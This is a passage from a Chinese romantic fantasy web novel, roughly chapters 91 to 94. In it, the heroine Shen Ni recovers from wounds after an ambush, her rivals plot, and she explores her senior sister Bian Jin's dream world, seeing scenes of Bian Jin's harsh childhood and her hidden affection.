沈逆咳了几下,唇边又溢出血沫,大脑已经不会转了。
边烬眉心拧得无法松开,问沈逆:
“哪个是麻醉剂?我为你缝合伤口。”
沈逆手颤抖着,拿起一只绿色的针管。
边烬接过针管道:“你先睡一会儿。”
沈逆在昏睡之前,见边烬侧过脸,光正好打在她身上。
唇上有血。
不记得她俩什么时候接了吻,她的血怎么染到边烬唇上了?
这时候沈逆才察觉到,边烬的发髻被火烧断,后背的血迹已经蔓延到腰侧,衣衫上沾满灰土。
这样的肮脏狼藉,若是放在平日里,恐怕已经让洁癖的边烬难受到无法呼吸。
可此时她完全忘记这一切,眼眸中唯有眼前人。
沈逆在昏迷之时忽然明白了。
原来这闷痛的心跳不属于她。
是情感共鸣功能,把边烬的情绪灌入她心中。
这份心悸和痛楚,是属于边烬的。
“师……”
下一瞬,麻醉切断了沈逆的意识.
马车停到侯府前,沈逆依旧没醒。
边烬打算将车直接驶入府,却见窦璇玑李司她们都围在侯府门前,地上倒了一片不知来历的陌生人。
边烬抱着沈逆下马车,窦璇玑见沈逆昏迷,问她怎么了。
边烬道:“受了些伤,麻醉未醒。这些都是什么人?”
李司放下滚烫的加特林,甩了甩发麻的手,说:
“也不知从何而来的匪徒,竟想私闯靖安侯府。幸好咱们窦队正来得及时。而且你们这侯府厉害啊,大门固若金汤,墙上还有隐形电网,有几个想翻进去的全都给电焦了。”
李极果然派人来偷袭侯府,她们离开的时候开启了全府戒备模式,外人想强行进府,就得做好粉身碎骨的准备。
不过,这些偷袭的人看上去并非等闲之辈。
护院收尸时,边烬扫过这些尸首的脸,面孔都很陌生,看上去都有较高的战斗天赋。
窦璇玑她们身手算是不错,这些人亦不好对付。
即便有护院和全府戒备模式加持,也未必能完全将歹人阻止在外。
此时,大门开了,万姑姑先探出脑袋看了一眼外面的情况,松了一口气,回头对曾倾洛道:
“曾娘子,夫人她们回来了,你可以出来了。”
方才外面传来激烈的打斗声,曾倾洛就想出来杀敌。
被万姑姑死死拖着,不让她出去。
万姑姑道:“侯君和夫人临出门前交待过了,今天无论如何都要保护好曾娘子,不能让曾娘子出府!你若要出去,就从我身上踏过去吧!”
还在双极楼时,万姑姑对曾倾洛就挺照顾,曾倾洛当然不可能让万姑姑为难。
而且万姑姑年龄不小,成天干活,手上都是劲儿,曾倾洛被她死死拽着,想挪步也不容易。
此刻看到府外场景,死的全是偷袭的匪徒,侯府的护院受伤者也不算太多。曾倾洛松了口气,过来问沈逆和边烬的伤势。
回到家,边烬一直紧到发痛的心口略略放松了些。
边烬把沈逆送回寝屋后再出来,查看被拖到后院的尸体。
窦璇玑用队正的权限扫描他们面部,全部都是未登记户籍的黑户。
李司走南闯北见多识广,倒是能看得出来,这些人的面相不似长安本地人。
“像北边人。”
换了一身衣衫的边烬出现在她们身后。
“这是典型的睦州长相。”
“睦州”二字猝不及防,让曾倾洛微微愣神。
所以这些的确是李极的人。
如师姐们所料,李极果然趁今夜来抓她。
边烬仔细检查一番,这些人身上的伤很多是一击致命的。
边烬问窦璇玑:“可有逃走的人?”
窦璇玑:“没有,来者一共十二人,全部毙命。”
边烬沉思着。
李司知道她在想什么。
“你是不是也觉得有点离奇?不是我自谦,就我们几个,再加上你们侯府的护院,说和他们殊死相斗战个平手那有可能。可眼下是明明白白的碾压,很不合理。”
房判道:“我也发现了,一开始我瞄他们的时候,他们动作极快,很难射中。但是从某一刻起,他们就像中了邪一样,身子僵硬得像活靶子,我就一箭一个了。”
边烬心道,难怪能一击毙命。
应该是有极强的精神力在暗中操控。
边烬遭遇过强大的精神力干扰,短时间内无法自控的感觉记忆犹新。
短兵相接的生死一瞬,再短的失控都会致命。
目光转向安静的院墙之外。
除了贺兰濯,她想不到谁会有这么强大的精神力。
而且今夜她们遭遇无脸女,李极的人又偷袭靖安侯府,已经能证实贺兰濯在给李极传递情报。
不过贺兰濯半路折到靖安侯府,保下侯府内外,还对同伙下了狠手,没让侯府有任何损失。
来袭的十二人全部毙命当场,那就没人能去回禀李极,他们遭受了精神力袭击而亡的事,便与他们的尸首一起长埋地下。
贺兰濯在李极那头应该能交差了。
前几日贺兰濯来赴宴时,便将精神天赋者最大的秘密毫无保留说得一干二净,如今又护住了侯府,算是将功补过,两面周全。
看来,贺兰濯想向边烬她们释放自己的善意,又对李极十分忌惮。
这是为自己留后路。
边烬敛回目光,把这些歹人的面貌全部记入记忆模块内,再让护院把尸首全部掩埋,不要被人发现。
边烬和曾倾洛一同谢过窦璇玑她们。
窦璇玑道:“靖安侯府有难,我义不容辞。不知道侯君伤的如何。”
李司在旁有些吃味。
这声侯君可真动听,何时才能软软地叫她一声“将军”。
不过……先前共乘时腰肢那一搂可真有滋味。
边烬回窦璇玑:“伤得不轻,我得去找医师为她医治才行。”
窦璇玑望向李司,欲言又止。
李司心想,你这时候想起我了。行罢,虽然打了一仗累得要命,但为了你的侯君,也能勉强撑一会儿。
李司自告奋勇为沈逆治疗。
边烬想着李司也是医师,共同退过敌,也算半个自己人,总比去找外面不熟底细的医师上门诊治来的稳妥。
边烬道:“那就麻烦李司将军了。”
……
贺兰濯手掌的伤处一痛,睁开眼。
她居然在回程的马车中睡着了。
马车已经将她带到帝国客栈楼下,机械向导温柔地敲车门,问她需不需要搬运行囊,或者帮忙泊车。
贺兰濯将机械向导打发走,下车的时候脑袋痛得像要裂开。
今夜耗损了太多精神力,双眸充血,耳朵也还在短暂的失聪。
不过要是能铺条活路,值了。
第五阙给她传了无数条信,霸占了整整两页的预览页面。
贺兰濯一边看,一边露出柔软的笑意。
先没回。
退出账号,前往顶层。
去之前贺兰濯已经做好了准备,只要李极不在她脸上动刀,其他地方无所谓。
毕竟第五阙还是挺喜欢她这张脸的,身上的伤倒是不嫌弃。
到了顶层,进屋,满屋子熟悉的酒味。
李极躺在软塌上,身边躺着个姿色极艳的女人,正在往她嘴里喂葡萄。
见贺兰濯来了,本就冷着脸的李极更不耐烦,将想靠近她的女人推开。
女人倒到一旁,不明所以。
李极拢好衣襟,淡漠道:“什么长安第一美人,丑八怪,滚。”
那女人想生气不敢生,只默默咬着唇,负气地走了。
李极身边时常有各种女子,贺兰濯见怪不怪,等闲人走了,她如实禀报今夜在最高研发署发生的事。
被黑魔方感染的无脸女突然出现,劫走了沈逆,她追不上,这就回来了。
“炼丹炉?”
李极轻转着酒盏,没想到最高研发署禁区之中是这玩意。
李极问贺兰濯:“秦无商的魔种没想夺走炼丹炉吗?”
“有,那无脸女想夺,但被边烬护下来了。”
“哼……也罢。我一直道这秦无商为何肯与我联手,未必只是想抓沈逆。如今想来,或许她想要这炼丹炉更为心切。”
康逸听李极所言,思路清晰,心里略有些安慰。
李极问贺兰濯:“这炼丹炉有何用处?”
贺兰濯:“不知,属下定会找机会为殿下探听。”
李极又问:“那后来沈逆她们如何了?已经回府了吗?”
贺兰濯:“暂不可知。”
想了想,再道:“殿下需要我现在去靖安侯府吗?”
意思正是询问李极,要不要趁着沈逆和边烬“不在”府上,把曾倾洛抓回来。
康逸微不可见地垂了垂嘴角。
这是个反感的表情。
这细节落到贺兰濯眼里,也挺有趣。
贺兰濯当然是在故意这么说,好进一步撇清关系,不让李极怀疑她本人不仅去过靖安侯府,还把李极派去的人全部杀光了。
可康逸似乎并不知道李极已经派人去抓曾倾洛。
这种事瞒着下属,是怕下属觉得自己不务正业,威信不再。
还是自尊心作祟,不想人知道她惦记着曾倾洛?
贺兰濯也没想到,李极这样的人,居然会对单纯平凡的曾倾洛念念不忘。
李极心不在焉地说:“不必了。阿濯辛苦了,早点回去休息吧。”
李极今晚没兴致折磨她,贺兰濯松了口气。
做好了准备却没受伤,第五阙那个傻子应该也不会哭了。
贺兰濯离开后,李极一直等到深夜,也没等到派去靖安侯府的下属回来。
一个都没回来。
她不能让康逸去查,更不可能亲自跑到侯府看。
发出去的消息,一条都没回。
夜半,楼下的贺兰濯被第五阙伺候得身心舒爽,在温暖的怀抱里睡着了。
楼上的李极满怀心事,孤枕难眠,无法入睡。
李极一身燥热的汗,打开窗户,让夏夜的风灌进屋子里,对着靖安侯府的方向冷笑着。
都是废物。
姓曾的不会以为有多在意她吧?
咣——
听到屋里的动静,守在门外的康逸和繁之对视一眼。
繁之想进去看看,被康逸拦住。
没别人,就殿下自己在发泄罢了。
咣咣咣——
砸东西的声响持续了半天,最后似是累了,没再砸。
康逸眼皮直跳。
殿下正常了,但没完全正常。
第92章
隔了一日,第五阙和贺兰濯来侯府看望沈逆。
沈逆气色好些了,起码能拄着拐下床招待她们。
前两日她腰痛得要命,别说下床,就是在床上趴着都难受。
是边烬将食物带到她床边,一口口喂她。
边烬这几日话很少。
少到本想趁机好好撒娇的沈逆都没敢造次。
觉得师姐在生气。
以前沈逆要是顽皮做了坏事,真的将师姐惹生气时,师姐也是这般,不会主动跟沈逆说话,但也总舍不得彻底不理沈逆。沈逆问她什么的时候,她并不看过来,只回答一两个字,却也句句有回应。
沈逆还是半大孩子的时候,格外能作妖,师门内外成天都有人来边烬这儿告状。
都说沈逆难管教,其实她只是为了吸引边烬的注意力。
哪怕边烬多看她一眼,她这一天就算没白作死。
那时候明目张胆地给边烬找事儿,边烬都很少真的对她冷脸,如今边烬在生什么气?
她最近哪有机会犯浑,险些死了,都还没缓过来好吗?
没想到,边烬的心思也有她猜不透的时候.
第五阙和贺兰濯来府上做客之前,沈逆原本想让边烬带曾倾洛避一避。
毕竟曾倾洛钟意过第五阙,现在看那二位黏黏糊糊的,只怕触景伤情。
曾倾洛没想到沈逆居然知道自己对第五阙的心思。
红着脸拉着沈逆到角落,小小声问她:
“小师姐你怎么知道?”
“要想人不知,你那限量玩偶得藏好啊。”
曾倾洛都快忘了多足虫虫玩偶的事了。
提起玩偶,她想到的倒是塞进李极嘴里的八爪鱼。
曾倾洛笑道:“放心吧小师姐,我已经不喜欢第五姐姐了。她现在和贺节度使这么恩爱,我也替她们高兴。若再厚着脸皮喜欢,多给自己找不自在。”
沈逆“嗯”了一声,也没再多说。
看曾倾洛的样子不像逞强,该是真过去了。
五个人在一块儿吃了顿午膳。
席间,曾倾洛全程都很自如,没有刻意和第五阙搭话,也没有回避她,两人还像在燕落时轻松开玩笑。
只是没了肢体接触。
倒是贺兰濯仗着有护目镜,没少在暗中观察曾倾洛。
曾倾洛未满双十年华,身上少女的纯然率真还未褪去,喜欢或讨厌明明白白地写在脸上,任谁都能一眼看透她。
和尸山里爬出来,再亲的亲人都能不眨眼手刃的李极,完全是两个世界的人。
不知上次的挟持事件中,发生了什么有趣的事。
当时贺兰濯进屋看到的李极,被五花大绑蒙着眼,脖子上还套着极其耻辱的禁锢环。
小倾洛看着秀气,下手倒狠绝。
估计从小到大,除了李极那位早薨的生母,没人敢这样对待她。
无论她们私下到底发生了什么,现下李极心里有了人,意味着她有了软肋。
这些年她是怎么利用别人的软肋威逼利诱,或许有一日,她也能身临其境好好体验体验。
午后客人们走了,曾倾洛也回屋歇晌。
沈逆撑着拐杖过台阶没过好,被卡了一下,整个人差点往前扑。
手臂被人拉住,身体轻轻松松回复平衡。
一回头,和边烬那双清冷的眼眸对上。
“谢谢师姐……”
沈逆说不上为什么要说得这般客气。
大概这几天边烬的气场实在太强大了,大到她变成了个乖孩子。
边烬道:“怎么不给自己做个更好用的外骨骼?”
沈逆乖乖回答:“几天就好了嘛,不必做。”
“去哪?”
“想去寝屋的床上躺躺……”
边烬扶着她的胳膊,一言不发。
“……如果不顺路的话,我不躺也行。”
察觉到沈逆有点怕她,边烬将她带回寝屋,把门关上。
打开香炉,点香,背对着沈逆道:
“不用怕我,我没生你的气。”
沈逆将拐杖放在一旁。
“可你这几日情绪就是很不好啊。”
青烟直上,边烬依旧没转回来。
绾起的发丝下,如玉的耳朵和脖颈一样,有些细小的伤痕。
肃冷沉默的背影与禅茶的味道,像一场寂静的苦修。
边烬声音低冷,字字清晰入耳。
“我只是在生我自己的气。”
边烬的回答让沈逆双眼圆了圆。
禅茶香味在寝屋弥漫。
她们刚刚成亲时,为了让边烬习惯她,她总是用此香。
嗅觉的记性真是很好,再次闻到禅茶香味,总能联想到还有着深深隔阂时,边烬那双淡漠又欲言又止的眼。
沈逆说:“师姐,冷却时间到了,让我再去你梦境吧。”
边烬略有些犹豫。
“晚上我还想再去研究研究炼丹炉,现在,让我再试一次。”
边烬没有反对的理由。
“好吧。”
梦境世界很抽象,却也能反映边烬真实的心境。
言语会说谎,会隐瞒,但潜意识的世界很难。
沈逆这次进去,打算和小菌菇们好好互动互动。
就算炸起再多的刺,她也不怕。
反正是梦境世界,还能真的中毒而亡么?
这几日下来,亲密度没怎么波动,梦境互通的时长也没变。
沈逆再次进入边烬的梦境世界,依旧降落在上回离开时的地点,那片把人骗得晕头转向的森林里。
当沈逆站起身,打算去惹一惹小菌菇们的时候,发现视野又不一样了。
她好像长高了。
准确来说,应该是她在师姐梦境里的年龄变大了。
这里没有湖,没有水面和镜子,没有任何可以看自己模样的途径。
沈逆只能通过身高来推测,摸自己的脸感受五官比例,以及观察手的细节判断,自己大概是十五六岁时的模样。
及笄之年。
向边烬告白的那年。
不知自己年龄在师姐梦境世界中的变化预示着什么,沈逆有种感觉,这或许是转机。
走向菌菇小队,菌菇们看到这人又过来了,依旧一排排挨得紧紧的,尖刺往外冒。
沈逆向它们伸出手。
菌菇们完全没料到这人竟不怕它们,敢动手。
手越靠越近,尖刺却变软,变小了。
菌菇小队在往后仰,伞盖都要掀起来了,一副害怕被沈逆摸到的模样。
沈逆轻笑,好可爱。
沈逆不想伤害它们,小心翼翼摸上去。
小尖刺软软的,一点都不扎人,像小猫的舌头。
沈逆缓缓抚摸着小菌菇们,小菌菇们被摸到发颤,慢慢放下了防备,还想再被摸,一颗颗圆头往沈逆的掌心里拱。
拇指搓了搓圆脑袋,表面光滑,手感极好。
也没什么中毒的感觉。
看来师姐的梦境世界对她很友善,有些时候看着可怕,其实只是在虚张声势。
就在沈逆心态放松时,菌菇小队身后那片蓝光中长出一棵植物。
是冰蓝夜昙。
冰蓝夜昙从菌菇们的脑袋后面冒了出来,沈逆注意力刚被它吸引过去,那冰蓝夜昙蓦地抽出了叶,疯一般狂长,花苞怒绽,一口将沈逆吞进花蕊之中。
沈逆吓了一跳,完全没料到小菌菇们撑了这么久,居然是在保护这么个庞然大物。
被吞入花蕊内也没有任何痛感,只是沾了一身的花粉,失控地往下坠。
花茎仿佛一口幽蓝的深井,好几息之后沈逆才跌到底。
嚓——
整个人陷入一层厚厚的积雪里。
失重感很不舒服,沈逆捂着心口,甩掉一身的花粉和头顶的雪块,坐起身,疑惑地看向周围。
这儿不是冰蓝夜昙的内部,而是广阔的天地。
双极楼标志性的东西双极峰就在眼前。
她回到了双极楼。
好冷。
看了眼自己的手,还是少女的手,视野依旧是及笄女孩的视野,她还在师姐的梦境世界里。
为什么双极楼会藏在师姐的梦境深处?
沈逆在双极楼中长大,这儿的路她闭着眼都不会走错。
可此时她兜了好几圈,完全没有找到通往师门的路。
沈逆叉着腰歇会儿。
不会是另一片迷宫吧?
一阵叹息声从风雪深处传来。
是个小娘子的声音。
隐约有点熟悉感。
沈逆寻着声音过去,越走越近,在两座巨石之后发现了一位正在挥鞭修炼的小娘子。
小娘子看上去只有七八岁大,身形瘦小。
一位白发女子站在不远处,目光如炬,一刻都没有从她身上移开。
小娘子长鞭猛扫,体力不支,扭了脚,一下摔在地上。
就在此时,沈逆看清了她的脸。
是师姐,小时候的师姐。
沈逆能记事起,师姐一直都比她年长,教她护她,沉稳内敛。
从来没见过比自己还小的师姐。
原来边烬真的有小时候,也有个子一点点,稚嫩可爱的时候。
沈逆被萌得心颤。
好小的师姐,想抱到怀里欺负。
虽然先前已经猜到了,用鞭子的人除了她还能有谁?
威严的白发女人,也像师尊。
只是,以往从边烬嘴里说出的师尊都是温和慈祥的。
眼前这白发女人严厉到让人害怕,气质上有点错位,还以为是别人。
没想到,真的是她们。
“起来。”
白发女子的声音比她无表情的脸还要严酷。
即便边烬受伤了,也不容许她有任何休息的时间。
风雪交加,温度很低,边烬头发和衣服上沾了厚厚一层雪,依旧出了一身的汗。
她明明已经练了很久了。
边烬没任何抱怨,撑起身子,继续练。
沈逆心中萌动的喜悦,被师尊冰冷的言语击碎。
这么点大的小孩,能将鞭子舞得碎石穿叶,已经让沈逆叹为观止了,师尊却还不满意。
甚至亲自动手,单手夺了边烬的鞭子,扬起狠狠抽在她的后背上。
完全没有留余地,将边烬打跌在雪地里。
沈逆目光一定,握紧拳头。
师尊长发披肩白如雪,倦容病态唇无色。
她发色浅,面色更浅,一袭苍青罗裳,天寒地冻间似与这苍茫的雪地融为一体。
师尊见边烬半天没能站起来,失望地负手望天。
“你这般柔弱,我如何放心将双极楼交托给你?更不用说这苍生万民。”
边烬唇缝分明有血,抬头之前硬生生咽回去。
她还未变声,嗓音不似现在低冷,稚嫩秀气,像泉水叮咚,说出的话却让人难受。
“是徒儿无能,这几日怠惰了……徒儿定会勤加苦练,不让师尊失望。”
师尊:“怠惰?可是因为你捡回来的那小孩儿分散了精力?”
沈逆算了一下,师姐比她大七岁,这么说来,此时的时间点该是刚刚捡回她不久时发生的事。
边烬迟疑没答。
师尊道:“耽误你习武,不能留。是为师替你打发,还是你自己送走?”
边烬立即道:“不可!阿摇没有耽误我习武!是我不小心感染风寒,卧床两日,身子有些钝罢了。从今日起,我会延长修炼时间,下次师尊再考校,一定不会失望的!”
师尊淡笑道:“哦?连名字都起好了。阿摇。”
边烬没说话,去拾落在地上的鞭子。
师尊垂着银色的浓睫,从高处睥睨边烬弯腰时窄窄的后背。
“边烬,为师逆天悖理将你从死城到双极楼,供你吃穿,赐你玉璧,教你武艺,你当知晓为师用心良苦。双极楼从不收废物,你带那来路不明的婴儿进师门,为师已经是网开一面。若你因为照顾她而耽误炼体,为师不会让她留下。记住了?”
边烬抬眸,眼眸里俱是惶恐。
“徒儿记住了,徒儿一定不负师尊所望……”
第93章
师尊在沈逆小时候就去世了,去世前她和师尊的交集也不多。
不过有件事沈逆明白,师尊不太喜欢她。
不被喜欢的人,最是能清晰地感受到这份疏远。
沈逆一向不在意师姐以外旁人的喜恶。
有人不喜欢她,她也未必喜欢此人。
更何况,从生活起居到天赋修行,更多是边烬在照顾她,支持她。
严格说起来,她不算师尊的亲传弟子,边烬才是她老师。
不懂内情的人只道她和师尊都是双S级机械天赋,以为她天赋的觉醒都是师尊教导,边烬也从不让她否认。
师尊过世后,师门里留着师尊的画像,各种影像。
挂在师姐以及各位师姐师兄嘴边的师尊,和那些残影里的形象相近,有身为掌门的威严,也有作为长辈的和蔼。
而沈逆亲眼目睹的这一切是什么?
埋在迷宫一般的森林深处,在师姐内心之下的师尊,竟这般残酷。
在她被师姐呵护,无忧无虑长大,甚至能时不时作个死,烦师姐的时候,师姐经历的是什么呢?
她只看到师姐宠着她,护着她沐浴在阳光下的一面。
却没见过另一面。
那另一面阴冷晦暗,布满苔藓。
风雪卷向沈逆的面庞,模糊了整个视野。
沈逆算是知道师尊为什么不喜欢她了。
因为师尊觉得她分了边烬的心,险些害边烬无法成为她想要的优秀徒儿。
难怪这儿的双极楼这般冷,比她记忆里还要冷得多。
雪粒扑在眉眼上,它能感受到沈逆方才还难过垂落的眉眼,此刻扬起笑意。
就算师尊这样压迫,师姐还是选择保下她,疼爱她。
甚至成了亲,床笫相缠,何等快活。
沈逆挺想敲敲师尊的棺材板,问问九泉之下的她作何感想。
……
风雪过后,双极楼变换了季节,满目秋景。
山上的果树结满果实,沈逆盘腿坐在石头上,看小边烬挎着篮子来摘果子。
边烬看上去长大了一点点,十岁左右。
那么沈逆这个时候应该有三岁了。
既然能和菌菇互动,不知道这个更深层的梦境世界里,她能不能和小边烬说几句话。
对着半大的小娘子,沈逆有点难叫出“师姐”这两个字,想了想,没大没小唤道:
“阿烬——”
边烬正要上树,听到有人叫她,好奇地往沈逆这边看了一眼。
那神情好像对她略有好奇,有点不明所以,但并不在意,很快收回了视线。
就好像在梦里,外界有人叫了一下名字,感觉是在叫自己,但意识依旧沉浸在梦境的世界里,无法去判断外界发生了什么。
沈逆像个观众,只能很短暂很有限地影响这个世界里的边烬。
边烬熟练地爬上树。
这棵树沈逆记得,每年秋季都会结好吃的果子,果子成熟的季节一到,边烬就会摘一大筐回去给她吃。
一开始每年都吃,后来她吃腻了,不爱吃了。
有一年边烬还摘了许多,洗得干干净净,她却只吃了两颗便不想吃了,和师门其他姐妹到长安城里买零嘴。
原来这棵树对小孩而言这么高,树枝像巨人的手臂,能展得这般远。
每个树枝上只会结几个果子,想要摘一大筐,得寻遍整棵树才行。
即便是身手不凡的边烬也要摘上许久。
看着年少的边烬开开心心给小师妹摘果子,被树枝树叶划伤了手和脸,嘴角的笑容却未减。
沈逆不禁想,当初她说吃腻了果子时,师姐有难过吗?
师尊威胁要把她送走的事,有第一次恐怕也有第二次,师姐从来没提过。
看师姐那双手,布满伤痕,便知她习武有多刻苦。
谁家小孩是这样的手?
沈逆能在双极楼无忧无虑地长大,边烬付出的比她想得要多得多。
秋风吹过,吹得沈逆鼻尖酸酸的。
两颗果子掉在草丛里。
边烬一跃而下,找了半天没找到。
“给。”
身后有人说话。
边烬回眸,沈逆将果子递给她。
边烬没看她,开心地接过,笑着道了谢。
“谢谢,我师妹很爱吃。”
沈逆咬着唇,眼睛里一片晶亮,用力点头。
“嗯,真的很好吃。”
挑挑拣拣,把不太好的果子剩下,放到小动物们会来吃的地点。
最饱满、最红也最甜的全带回去给师妹吃。
沈逆跟着她走,见她唇有些干燥起皮,问她:“你不吃吗?”
边烬望着前方双极楼的方向,喃喃自语道:
“阿摇爱吃,都留给她。”
沈逆心口酸酸软软的,摸了摸边烬的脑袋。
边烬抬头往她,一双漂亮的眼睛好奇地打量。
让她想起这一路走过遇到的小动物,都是这样的眼神。
跟着边烬回到师门,无数同门往来,人声嘈杂,吵到沈逆疑惑地捂起耳朵。
双极楼最盛时人的确很多,内门弟子千百人,外门弟子更是数不胜数,可也没这么吵。
她每天都能睡到辰时,午间还能痛痛快快睡上一觉,没人吵她。
看来师门上下所有大小事都堆在边烬身上,在她的潜意识里,师门便是这样人来人往,闹哄哄的。
沈逆起了兴致,想在人群中找一找自己,看看在师姐意识里的自己是什么样的。
师门车水马龙般热闹,沈逆仿佛置身于菜场,想要找到自己恐怕有点困难。
环视了一圈,发现了一件挺神奇的事。
师门中有那么多的师弟师妹,他们面容有些清晰明媚,有些模糊难辨,都穿着一样的门派服制,一眼看上去很难分出谁是谁。
人群里只有一个人身上罩着光,无论走到什么地方,都能一眼看见。
沈逆好奇地跟上去,从背影推测,对方是个和自己身高相等的少女。
这装扮,有些熟悉。
莫非……
沈逆心砰砰直跳。
她拍了一下少女的肩头,少女回身,沈逆呼吸一滞。
沈逆和自己打了个照面。
的确是她本人,可是又不太像……
她有长得这般可爱动人么?
五官漂亮找不出一丝瑕疵,双瞳剪水,粉装玉琢,看上去很娇气很柔弱,一握就会碎成好几瓣。
沈逆仔仔细细地看,这是我吗?
“沈逆。”
二十岁出头的边烬从远处走来,唤了她的名字。
眼前的少女甜甜地应了一声:“师姐!”
“今日功课写完了吗?”
边烬走到她面前,神态已和方才摘果子的她全然不同。
那时师尊已经过世,她独撑双极楼数年,眉眼间尽是当家掌门的练达沉稳。
沈逆确定了,那小少女的确是自己。
被这么一问,小少女立刻扑向边烬,泪眼婆娑地拉着边烬的宽袖,瞬间泪眼朦胧,哭哭唧唧。
“今天功课好难哦,还未写完,师姐不会骂我吧?”
沈逆本人:……
不是,你谁啊。
沈逆自省,为什么在师姐梦境世界里,她是这么个玩意?
她以前的确很会在师姐面前偷懒耍滑,可撒娇也有分寸,哪有软成这样?
这小兔子精是怎么回事?
沈逆一腔不解,再看边烬,忽然明白了。
小兔子精可怜兮兮,边烬满眼疼惜,都舍不得训她,温柔道:
“师姐怎么舍得骂你?有什么不会问我就好了。”
小兔子精立刻开心了,缺心眼地用力点头,“嗯嗯嗯”个没完。
沈逆:。
所以,在师姐眼里,自家小师妹是个成日把眼泪挂在眼角的小娇娃,一哄就破涕为笑。
沈逆很想对边烬说,师姐,我的娇十之八.九都是装出来的,你的严厉倒是藏都不藏。
师姐哪有眼下这么温和解语?
哪有什么不舍得骂?
明明都是冷着脸说“不会来问,功课不能不写”好么?
沈逆胳膊搭在师尊木像的肩膀上,沉思。
懂了,所以一直以来,师姐明明一眼就能看穿沈逆在耍滑头,却觉得她撒娇实在太可爱,甚至可怜,所以账单全收。还以为纵容沈逆时的自己格外温和,产生了自己是位和蔼师姐的错觉,所以有了眼前这一幕。
果然是师姐梦境世界,想法不要太主观。
温和是没有的,脸上半点笑意都欠奉,感觉再放肆一丝丝就被她门规伺候了。
可沈逆就喜欢在危险的边缘起舞,小孩儿顽劣的心性,就是要折腾出一点师姐不同的情绪才罢休。
总而言之,师姐认知错位错得离谱。
不过没事,沈逆一点都不在意。
谁让师姐把她想得那么可爱呢?
撇去兔子精的部分不谈,沈逆才知道,原来在师姐心里她这般仙姿佚貌。
漂亮到不像她。
沈逆正乐不思蜀,场景又一次转换。
小兔子精布下陷阱,坑了老是来找茬的其他宗门弟子,被边烬单独留下训斥。
边烬还没说两句,小兔子精便红了眼睛,带着哭腔道:
“是那些恶人先说师姐坏话,我若不回击,他们只会以为双极楼软弱。双极楼的大师姐都能任由他们胡乱编排,回头还能对其他同门手下留情么?”
小兔子精冷哼着,绝不认错。
“摔断腿都是轻的了!”
边烬想正色训她,却不忍心开口了。
眼前的小娘子嘴上倔强,眼眶却红了,豆大的眼泪挂在眼眶上,就是倔强不掉。
小兔子精再控诉:“最重要的是,你这么好!他们有什么资格说你的坏话!”
听完小兔子精的话,整个梦境空间都在散发着怜悯不忍的情绪。
在一旁围观的沈逆,甚至能感受到来自边烬心中的隐痛。
沈逆想起来了,的确有这件事。
当时是生气,气那些人敢玷污师姐名誉。
不过眼眶发红是演的,眼泪是硬挤的,只想师姐从轻发落。
没想到边烬那么信以为真。
信到心都痛了。
……
更让沈逆心跳难平的是,无论梦境里的小沈逆走到何处,做什么事,身上罩着的暖光都不会消失。
再多的人,再喧扰,边烬一抬眸,便能看见小师妹。
她是边烬梦境世界的焦点。
这独一份的专注和与众不同,似乎在暗示着某种情感。
一个大胆的,从未肖想过的念头倏然升至心头。
在她暗暗爱慕师姐的时候,师姐对她也是有同样的情感吗?
这个想法实在太不可思议,太僭越。
还未证实,沈逆就被一厢情愿的幸福感弄得晕眩,几乎忘记自己是来找师姐丢失的记忆的。
深吸一口气,镇定情绪。
师姐的世界太好逛,险些忘记来干嘛的了。
经过上两次的探索,沈逆知道自己这次的时间不多了。
这处场景藏在森林之下,沈逆推测,这里所承载的记忆和情绪是很私密的。
得抓紧时间看看,有没有什么线索能与丢失记忆的三年结合起来。
沈逆在师门里快步行走,处处留意。
走着走着,看到两个不该出现在此的人。
穿着戎装的女兵。
这身军服沈逆认识,是帝国步兵服制。
步兵怎么会出现在双极楼?
沈逆跟在两人身后,沿着一条僻静倾斜的小路一直往下去。
真正的师门没有这条小路。
更让沈逆好奇了。
小路到了某个地方,陡然倾斜,变成一条长长的台阶,台阶往前延伸至一片平静的水潭。
那两个女兵仿佛什么也没察觉到,携手走入水潭,开心地下沉。
台阶在水面之下一米的地方断裂了,沈逆站在台阶上,眼睁睁地看着那两人拉着手,拥抱着,慢慢消失在黑暗的水中。
她们面容模糊,以身形和气质判断,应该是沈逆没见过的人。
黑洞洞的水潭像怪兽的口,正等待着沈逆自投罗网。
这可是师姐的梦境,她完全不怕。
沈逆吸一口气,干脆利落地跃入水中,往下游。
往下,再往下。
水潭深得可怕。
没有声音也没有光,滑动时的确有水的质感。
快要憋不住了。
肺火辣辣的,沈逆的水性极好,此刻也快要窒息。
怎么还没到底?
沈逆一忍再忍,忽然,她感觉自己穿过了一层看不到的网,好似破了某种边界,周身的水陡然被抽干,她漂浮在半空,浸在朦胧的月色之中。
她并不知道,方才她穿过的是边烬理智的边界。
这儿,是边烬的欲念之地。
不远处是军营,而那两位女兵在黑暗的草丛中抱在一起。
沈逆看她们相互抚慰,不太理解。
为什么费了这么大的劲,来围观别人亲热。
沈逆正想去别处看看,忽然听到草丛里的人开口了。
“张开,对……师姐很乖。”
沈逆胸中一热,再去瞧那两人,俨然变成了她和边烬。
方才说出那些暧昧命令的,正是沈逆她自己。
第94章
咚咚、咚咚、咚咚……
心跳从未这么清晰。
沈逆披着月色,放缓步伐,像小心翼翼的猎人,慢慢靠近终于落网的恐怖猎物。
生怕步伐大一点,陷阱里的猎物就会不翼而飞。
害怕自己喘气的声音再重一点,刚才她听到的动静就会变成幻觉,瞬间被现实刺破。
目光穿过层层野草,她看到了交缠在一起的两个女人。
月光肆无忌惮地曝晒在她们身上。
周围的一切黑暗荒废,只有这两个漂亮的女人白到发光。
的确是她自己。
是沈逆自己,和边烬。
草丛里的沈逆恣意地品尝着掌门大师姐的唇。
那平日里一丝不苟整洁肃冷的大师姐,此刻被她吻得衣衫凌乱满面潮红。
她们的气息随着风,荡入沈逆的耳中,耳朵一点点被染红。
身下人被吻得迷失,完全没精力察觉周围。
草丛里的沈逆一只手撑在师姐的膝盖上,控制着弧度。
另一只手在看不到的地方。
她发现有人在靠近。
两双几近相同的眼在空中碰撞。
不远处的沈逆口干舌燥,草丛里的自己望过来,那唇角的弧度分明带着邪性。
边烬漏出好几声,长发被汗水打湿,粘在纤细的脖颈和肩头。
草丛中的沈逆咬着怀中人滚烫的唇,目光还滞留在沈逆身上。
像在得意地宣告,也像在诱惑地邀请。
……
咚咚!
心跳猛地加快,沈逆一下坐起身。
这是侯府寝屋,时间到了,她从边烬的梦境世界里清醒过来。
边烬原本还睡着,被她这猛地一震也睁开了眼睛。
“怎么?”
清冷平稳的声音从后方传来。
沈逆缓缓转回身。
